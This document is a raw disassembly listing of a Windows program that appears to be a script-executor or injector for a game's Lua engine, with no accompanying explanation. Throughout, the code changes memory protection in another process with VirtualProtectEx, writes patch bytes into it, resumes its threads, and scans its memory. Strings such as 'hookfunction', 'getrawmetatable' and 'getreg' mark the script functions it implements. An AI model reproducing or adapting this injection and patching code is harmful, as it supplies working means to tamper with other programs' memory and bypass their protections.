call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rcx, [rsp + 0x1d2]
call fcn.140004440
mov qword [rsp + 0xbc0], rax
mov byte [rsp + 0xaf], 0
mov r9, qword [rsp + 0xbc0]
lea r8, [rsp + 0xaf]
mov edx, 8
lea rcx, [rsp + 0x4e8]
call fcn.14000fab0
nop
xor edx, edx
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
mov rcx, qword [rsp + 0x5c0]
mov qword [rax], rcx
lea rcx, [rsp + 0x1d1]
call fcn.140004440
mov qword [rsp + 0xbc8], rax
mov byte [rsp + 0x128], 0xf
mov byte [rsp + 0x129], 5
mov byte [rsp + 0x12a], 0xff
mov byte [rsp + 0x12b], 0x25
mov byte [rsp + 0x12c], 0
mov byte [rsp + 0x12d], 0
mov byte [rsp + 0x12e], 0
mov byte [rsp + 0x12f], 0
xor edx, edx
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x130], al
mov edx, 1
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x131], al
mov edx, 2
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x132], al
mov edx, 3
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x133], al
mov edx, 4
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x134], al
mov edx, 5
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x135], al
mov edx, 6
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x136], al
mov edx, 7
lea rcx, [rsp + 0x4e8]
call fcn.1400117a0
movzx eax, byte [rax]
mov byte [rsp + 0x137], al
lea rax, [rsp + 0x138]
mov r8, rax
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x2ab0]
call fcn.14000f730
lea rcx, [rsp + 0x1b80]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1b90]
lea rcx, [rsp + 0x1b80]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0xbc8]
lea rdx, [rsp + 0x1b90]
lea rcx, [rsp + 0x1920]
call fcn.14000f9d0
nop
mov rax, qword [rsp + 0xe8]
add rax, 8
lea rdx, [rsp + 0x1920]
mov rcx, rax
call fcn.14000e910
nop
lea rcx, [rsp + 0x1920]
call fcn.140010e70
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x48]
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [0x140338d28]
mov qword [rsp + 0x728], rax
mov rcx, qword [rsp + 0x728]
call fcn.1400068b0
mov qword [rsp + 0x488], rax
mov rcx, qword [rsp + 0x728]
call fcn.140008cd0
mov qword [rsp + 0xbd0], rax
jmp 0x1400182c8
mov rax, qword [rsp + 0x488]
add rax, 8
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0xbd0]
cmp qword [rsp + 0x488], rax
je 0x1400182fd
mov rax, qword [rsp + 0x488]
mov rax, qword [rax]
mov qword [rsp + 0xbd8], rax
mov rcx, qword [rsp + 0xbd8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1400182b4
mov rax, qword [0x140338af0]
add rax, 0x168
mov rcx, rax
call fcn.14000e860
test rax, rax
jne 0x140018324
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400182fd
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov byte [rsp + 0xb0], 0xc3
mov rax, qword [rsp + 0xe8]
add rax, 0xa
lea rdx, [rsp + 0xb0]
mov rcx, rax
call fcn.14000e8b0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x48]
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rdx, [rsp + 0x14c8]
mov rcx, qword [rsp + 0xe8]
call fcn.14000e910
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x48]
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [0x140338af0]
add rax, 0x180
mov rcx, rax
call fcn.14000e860
test rax, rax
jne 0x140018439
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140018412
mov rax, qword [0x140338af0]
add rax, 0x168
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x1bc8], rax
mov rax, qword [0x140338af0]
add rax, 0x158
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x118], rax
lea rdx, [rsp + 0x8f0]
mov rcx, qword [rsp + 0x1e0]
call fcn.14000e910
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, qword [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8d, 0x3ff
mov rdx, qword [rsp + 0x730]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x1bd0], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x5c8], 0
mov qword [rsp + 0x1bd8], 0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x118]
mov qword [0x140338af8], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x5c8], rax
mov qword [rsp + 0x450], 0
mov rax, qword [rsp + 0x7840]
add rax, 0x308
mov qword [rsp + 0xbe0], rax
lea rdx, str.StringValue
lea rcx, [rsp + 0x1ed0]
call fcn.1400047d0
nop
mov r9d, 0x270f
lea r8, [rsp + 0x1ed0]
lea rdx, [rsp + 0xbf0]
mov rcx, qword [rsp + 0xbe0]
call fcn.14002a420
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
mov rax, qword [rax]
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0xbf0]
call fcn.140004490
nop
lea rcx, [rsp + 0x1ed0]
call fcn.140004ac0
cmp qword [rsp + 0x450], 0
jne 0x1400185ee
lea rcx, str.Failed_to_establish_a_connection_to_the_UI..._n
call fcn.14000a170
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400206d4
lea rcx, str.READY_n
call fcn.14000a170
lea rcx, [rsp + 0x8d8]
call fcn.14000fa60
nop
lea rcx, [rsp + 0x50]
call fcn.14000fa60
nop
lea rcx, [rsp + 0x140]
call fcn.14000fa60
nop
mov rdx, qword [rsp + 0x450]
lea rcx, [rsp + 0x200]
call fcn.14000f7e0
nop
lea rdx, [0x140268edc]
lea rcx, [rsp + 0x1ef0]
call fcn.1400047d0
nop
xor r9d, r9d
lea r8, [rsp + 0x1ef0]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x200]
call fcn.140029d40
nop
lea rcx, [rsp + 0x1ef0]
call fcn.140004ac0
lea rdx, str.objout
lea rcx, [rsp + 0x1f10]
call fcn.1400047d0
nop
xor r9d, r9d
lea r8, [rsp + 0x1f10]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x200]
call fcn.140029d40
nop
lea rcx, [rsp + 0x1f10]
call fcn.140004ac0
lea rdx, [rsp + 0x14b0]
lea rcx, [rsp + 0x200]
call fcn.140029fd0
nop
mov dword [rsp + 0xf0], 1
jmp 0x1400186f0
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
cmp dword [rsp + 0xf0], 0xa
jg 0x1400188a1
lea rax, [rsp + 0x14b0]
mov qword [rsp + 0x738], rax
mov rcx, qword [rsp + 0x738]
call fcn.1400068b0
mov qword [rsp + 0x490], rax
mov rcx, qword [rsp + 0x738]
call fcn.140008cd0
mov qword [rsp + 0xbf8], rax
jmp 0x14001874e
mov rax, qword [rsp + 0x490]
add rax, 8
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0xbf8]
cmp qword [rsp + 0x490], rax
je 0x14001889c
mov rax, qword [rsp + 0x490]
mov rax, qword [rax]
mov qword [rsp + 0x498], rax
mov edx, dword [rsp + 0xf0]
lea rcx, [rsp + 0x2530]
call fcn.140009fc0
mov qword [rsp + 0xc00], rax
mov rax, qword [rsp + 0xc00]
mov qword [rsp + 0xc08], rax
mov r8, qword [rsp + 0xc08]
lea rdx, [0x140268f0c]
lea rcx, [rsp + 0x2510]
call fcn.1400063f0
mov qword [rsp + 0xc10], rax
mov rax, qword [rsp + 0xc10]
mov qword [rsp + 0xc18], rax
mov rax, qword [rsp + 0xc18]
mov qword [rsp + 0xc28], rax
lea rdx, [rsp + 0x24f0]
lea rcx, [rsp + 0x498]
call fcn.14002a160
mov qword [rsp + 0xc20], rax
mov rax, qword [rsp + 0xc20]
mov qword [rsp + 0xc30], rax
mov rdx, qword [rsp + 0xc28]
mov rcx, qword [rsp + 0xc30]
call fcn.14000a8f0
mov byte [rsp + 0xb1], al
lea rcx, [rsp + 0x24f0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2510]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2530]
call fcn.140004ac0
movzx eax, byte [rsp + 0xb1]
test eax, eax
je 0x14001888a
lea rdx, [rsp + 0x498]
lea rcx, [rsp + 0x8d8]
call fcn.140023340
nop
lea rcx, [rsp + 0x498]
call fcn.140004490
jmp 0x14001889c
lea rcx, [rsp + 0x498]
call fcn.140004490
jmp 0x14001873a
jmp 0x1400186e0
lea rcx, [rsp + 0x8d8]
call fcn.140024550
cmp rax, 0xa
je 0x1400189a4
lea rcx, [0x140269b28]
call fcn.14000a170
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0xb2], 0
lea rcx, [rsp + 0x14b0]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x330]
call fcn.140004490
nop
lea rcx, [rsp + 0x120]
call fcn.140004490
nop
lea rcx, [rsp + 0x200]
call fcn.140004490
nop
lea rcx, [rsp + 0x140]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x50]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x8d8]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x4e8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x14c8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x978]
call fcn.140010e70
nop
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xb2]
jmp 0x140020745
lea rdx, [rsp + 0x1498]
lea rcx, [rsp + 0x120]
call fcn.140029fd0
nop
mov dword [rsp + 0xf8], 1
jmp 0x1400189d7
mov eax, dword [rsp + 0xf8]
inc eax
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 0xa
jg 0x140018b88
lea rax, [rsp + 0x1498]
mov qword [rsp + 0x740], rax
mov rcx, qword [rsp + 0x740]
call fcn.1400068b0
mov qword [rsp + 0x4a0], rax
mov rcx, qword [rsp + 0x740]
call fcn.140008cd0
mov qword [rsp + 0xc38], rax
jmp 0x140018a35
mov rax, qword [rsp + 0x4a0]
add rax, 8
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0xc38]
cmp qword [rsp + 0x4a0], rax
je 0x140018b83
mov rax, qword [rsp + 0x4a0]
mov rax, qword [rax]
mov qword [rsp + 0x4a8], rax
mov edx, dword [rsp + 0xf8]
lea rcx, [rsp + 0x2590]
call fcn.140009fc0
mov qword [rsp + 0xc40], rax
mov rax, qword [rsp + 0xc40]
mov qword [rsp + 0xc48], rax
mov r8, qword [rsp + 0xc48]
lea rdx, [0x140268f54]
lea rcx, [rsp + 0x2570]
call fcn.1400063f0
mov qword [rsp + 0xc50], rax
mov rax, qword [rsp + 0xc50]
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0xc58]
mov qword [rsp + 0xc68], rax
lea rdx, [rsp + 0x2550]
lea rcx, [rsp + 0x4a8]
call fcn.14002a160
mov qword [rsp + 0xc60], rax
mov rax, qword [rsp + 0xc60]
mov qword [rsp + 0xc70], rax
mov rdx, qword [rsp + 0xc68]
mov rcx, qword [rsp + 0xc70]
call fcn.14000a8f0
mov byte [rsp + 0xb3], al
lea rcx, [rsp + 0x2550]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2570]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2590]
call fcn.140004ac0
movzx eax, byte [rsp + 0xb3]
test eax, eax
je 0x140018b71
lea rdx, [rsp + 0x4a8]
lea rcx, [rsp + 0x140]
call fcn.140023340
nop
lea rcx, [rsp + 0x4a8]
call fcn.140004490
jmp 0x140018b83
lea rcx, [rsp + 0x4a8]
call fcn.140004490
jmp 0x140018a21
jmp 0x1400189c7
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp rax, 0xa
je 0x140018c99
lea rcx, [0x140269b58]
call fcn.14000a170
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0xb4], 0
lea rcx, [rsp + 0x1498]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x14b0]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x330]
call fcn.140004490
nop
lea rcx, [rsp + 0x120]
call fcn.140004490
nop
lea rcx, [rsp + 0x200]
call fcn.140004490
nop
lea rcx, [rsp + 0x140]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x50]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x8d8]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x4e8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x14c8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x978]
call fcn.140010e70
nop
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xb4]
jmp 0x140020745
mov dword [rsp + 0xf4], 1
jmp 0x140018cb6
mov eax, dword [rsp + 0xf4]
inc eax
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 0x32
jg 0x140018e64
lea rax, [rsp + 0x1498]
mov qword [rsp + 0x748], rax
mov rcx, qword [rsp + 0x748]
call fcn.1400068b0
mov qword [rsp + 0x4b0], rax
mov rcx, qword [rsp + 0x748]
call fcn.140008cd0
mov qword [rsp + 0xc78], rax
jmp 0x140018d14
mov rax, qword [rsp + 0x4b0]
add rax, 8
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0xc78]
cmp qword [rsp + 0x4b0], rax
je 0x140018e5f
mov rax, qword [rsp + 0x4b0]
mov rax, qword [rax]
mov qword [rsp + 0x4b8], rax
mov edx, dword [rsp + 0xf4]
lea rcx, [rsp + 0x25f0]
call fcn.140009fc0
mov qword [rsp + 0xc80], rax
mov rax, qword [rsp + 0xc80]
mov qword [rsp + 0xc88], rax
mov r8, qword [rsp + 0xc88]
lea rdx, str.sout
lea rcx, [rsp + 0x25d0]
call fcn.1400063f0
mov qword [rsp + 0xc90], rax
mov rax, qword [rsp + 0xc90]
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0xca8], rax
lea rdx, [rsp + 0x25b0]
lea rcx, [rsp + 0x4b8]
call fcn.14002a160
mov qword [rsp + 0xca0], rax
mov rax, qword [rsp + 0xca0]
mov qword [rsp + 0xcb0], rax
mov rdx, qword [rsp + 0xca8]
mov rcx, qword [rsp + 0xcb0]
call fcn.14000a8f0
mov byte [rsp + 0x88], al
lea rcx, [rsp + 0x25b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x25d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x25f0]
call fcn.140004ac0
movzx eax, byte [rsp + 0x88]
test eax, eax
je 0x140018e4d
lea rdx, [rsp + 0x4b8]
lea rcx, [rsp + 0x50]
call fcn.140023340
nop
lea rcx, [rsp + 0x4b8]
call fcn.140004490
jmp 0x140018e5f
lea rcx, [rsp + 0x4b8]
call fcn.140004490
jmp 0x140018d00
jmp 0x140018ca6
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp rax, 0x32
je 0x140018f72
lea rcx, str.Failed_to_establish_a_script_connection..._n
call fcn.14000a170
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x89], 0
lea rcx, [rsp + 0x1498]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x14b0]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x330]
call fcn.140004490
nop
lea rcx, [rsp + 0x120]
call fcn.140004490
nop
lea rcx, [rsp + 0x200]
call fcn.140004490
nop
lea rcx, [rsp + 0x140]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x50]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x8d8]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x4e8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x14c8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x978]
call fcn.140010e70
nop
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0x89]
jmp 0x140020745
mov dword [rsp + 0xc0], 0
mov rax, qword [rsp + 0x7840]
add rax, 0x5b4
mov r8d, 0x100
mov rdx, rax
lea rcx, [rsp + 0x36c0]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
lea rdx, str.myfile.txt
lea rcx, [rsp + 0x36c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, 1
lea rcx, [rsp + 0x33a0]
call fcn.14000f480
nop
mov r9d, 0x40
mov r8d, 0x12
lea rdx, [rsp + 0x36c0]
lea rcx, [rsp + 0x33a0]
call fcn.140022910
lea rcx, [rsp + 0x33a0]
call fcn.1400158a0
mov dword [rsp + 0x144c], 0
mov dword [rsp + 0x30], 0
mov byte [rsp + 0x34], 0
lea rdx, [0x140269bd0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14002065a
cmp qword [rsp + 0x5c8], 0
je 0x14001a069
movsx rax, word [0x14031f060]
mov rcx, qword [rsp + 0x5c8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14001906f
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140019010
mov r8d, 0x300
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x1938]
call fcn.14000e660
nop
lea rcx, [rsp + 0x1938]
call fcn.1400159a0
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x30], 0x80
mov byte [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x1400191a7
mov dword [rsp + 0x1f8], 8
jmp 0x1400190e7
mov eax, dword [rsp + 0x1f8]
inc eax
mov dword [rsp + 0x1f8], eax
movsx eax, word [0x14031f034]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x1f8], 0x1e
jge 0x1400191a7
movsx eax, word [0x14031f04c]
movsx rcx, word [0x14031f030]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx - 0x10], eax
jne 0x14001914b
movsx eax, word [0x14031f040]
movsx rcx, word [0x14031f030]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx], eax
jne 0x14001914b
mov byte [rsp + 0x34], 1
jmp 0x1400191a7
movsx eax, word [0x14031f044]
movsx rcx, word [0x14031f030]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx - 0x10], eax
jne 0x1400191a2
movsx eax, word [0x14031f048]
movsx rcx, word [0x14031f030]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx + 0x30], eax
jne 0x1400191a2
mov byte [rsp + 0x34], 1
jmp 0x1400191a7
jmp 0x1400190c4
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x14001a05c
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rcx + rax]
mov qword [rsp + 0x100], rax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
movsd xmm0, qword [rcx + rax]
movsd qword [rsp + 0xd20], xmm0
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov eax, dword [rcx + rax]
mov dword [rsp + 0x1e8], eax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rcx + rax + 0x10]
mov qword [rsp + 0x760], rax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov eax, dword [rcx + rax + 0x10]
mov dword [rsp + 0x1450], eax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rcx + rax + 0x20]
mov qword [rsp + 0xcd0], rax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov eax, dword [rcx + rax + 0x20]
mov dword [rsp + 0x1454], eax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
movzx eax, byte [rcx + rax + 0x30]
mov byte [rsp + 0x8a], al
movsx eax, word [0x14031f040]
movsx rcx, word [0x14031f030]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
cmp dword [rdx + rcx + 0x50], eax
jne 0x14001a05c
movsx rax, word [0x14031f038]
movsx rcx, word [0x140338898]
movsxd rdx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
add rax, qword [rdx + rcx + 0x50]
mov rdx, rax
lea rcx, [rsp + 0x938]
call fcn.1401cb270
nop
movzx eax, byte [rsp + 0x8a]
test eax, eax
je 0x14001a04e
lea rdx, str.getreg
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x1400194d2
mov rax, qword [rsp + 0x118]
add rax, 0x28
mov qword [rsp + 0xcb8], rax
mov rcx, qword [rsp + 0x118]
add rcx, 0x28
call fcn.14000e860
mov rcx, qword [rsp + 0xcb8]
sub rax, rcx
mov qword [rsp + 0xcc0], rax
mov rax, qword [rsp + 0xcc0]
add rax, 0xc90
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xcc8]
mov qword [rsp + 0x750], rax
movzx eax, word [0x14031f058]
mov word [rsp + 0xcc], ax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x750]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xcc]
mov dword [rsp + 0x530], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x530]
mov rcx, rax
call fcn.14000e9a0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x750]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xcc]
mov dword [rsp + 0x534], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x534]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.hookfunction
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019729
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0xcd0]
mov qword [rsp + 0x1be0], rax
movsx rax, word [0x14031f018]
mov rcx, qword [rsp + 0x310]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e720
movzx eax, al
mov dword [rsp + 0x538], eax
movsx rax, word [0x14031f018]
mov rcx, qword [rsp + 0x5d0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e720
movzx eax, al
mov dword [rsp + 0x2d8], eax
movsx rax, word [0x14031f01c]
mov rcx, qword [rsp + 0x310]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e720
mov byte [rsp + 0x1d0], al
movsx rax, word [0x14031f01c]
mov rcx, qword [rsp + 0x5d0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e720
mov byte [rsp + 0x246], al
cmp dword [rsp + 0x538], 0
je 0x1400195d5
movsx eax, word [0x14031f020]
mov dword [rsp + 0x33c], eax
jmp 0x1400195e0
mov dword [rsp + 0x33c], 0x20
mov eax, dword [rsp + 0x33c]
mov dword [rsp + 0x1458], eax
cmp dword [rsp + 0x2d8], 0
je 0x140019608
movsx eax, word [0x14031f020]
mov dword [rsp + 0x340], eax
jmp 0x140019613
mov dword [rsp + 0x340], 0x20
mov eax, dword [rsp + 0x340]
mov dword [rsp + 0x145c], eax
movzx eax, word [0x14031f020]
mov word [rsp + 0x6e8], ax
movsx rax, word [0x14031f014]
mov rcx, qword [rsp + 0x310]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140338d40]
call fcn.1400fe470
mov qword [rsp + 0x1be8], rax
movsx rax, word [0x14031f014]
mov rcx, qword [rsp + 0x5d0]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140338d40]
call fcn.1400fe470
mov qword [rsp + 0xcd8], rax
lea rcx, [rsp + 0x2270]
call fcn.14000fb10
nop
lea rcx, [rsp + 0x22b8]
call fcn.14000fb10
nop
movsx rax, word [0x14031f014]
mov rcx, qword [rsp + 0x310]
add rcx, rax
mov rax, rcx
mov r8, qword [rsp + 0xcd8]
mov rdx, rax
movzx ecx, byte [0x140338d40]
call fcn.1400fe4a0
movzx eax, byte [rsp + 0x2d8]
mov byte [rsp + 0x8b], al
movsx rax, word [0x14031f018]
mov rcx, qword [rsp + 0x310]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x8b]
mov rcx, rax
call fcn.14000e8b0
nop
lea rcx, [rsp + 0x22b8]
call fcn.140010f50
nop
lea rcx, [rsp + 0x2270]
call fcn.140010f50
jmp 0x14001a015
lea rdx, str.getrawmetatable
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019942
mov qword [rsp + 0x348], 0
movsx eax, word [0x14031f054]
cmp dword [rsp + 0x1e8], eax
jne 0x1400197a1
mov rax, qword [rsp + 0x100]
add rax, 8
mov qword [rsp + 0xce0], rax
mov rcx, qword [rsp + 0x100]
add rcx, 8
call fcn.14000e860
mov rcx, qword [rsp + 0xce0]
sub rax, rcx
mov qword [rsp + 0x348], rax
jmp 0x140019837
movsx eax, word [0x14031f058]
cmp dword [rsp + 0x1e8], eax
jne 0x1400197eb
mov rax, qword [rsp + 0x100]
add rax, 0x10
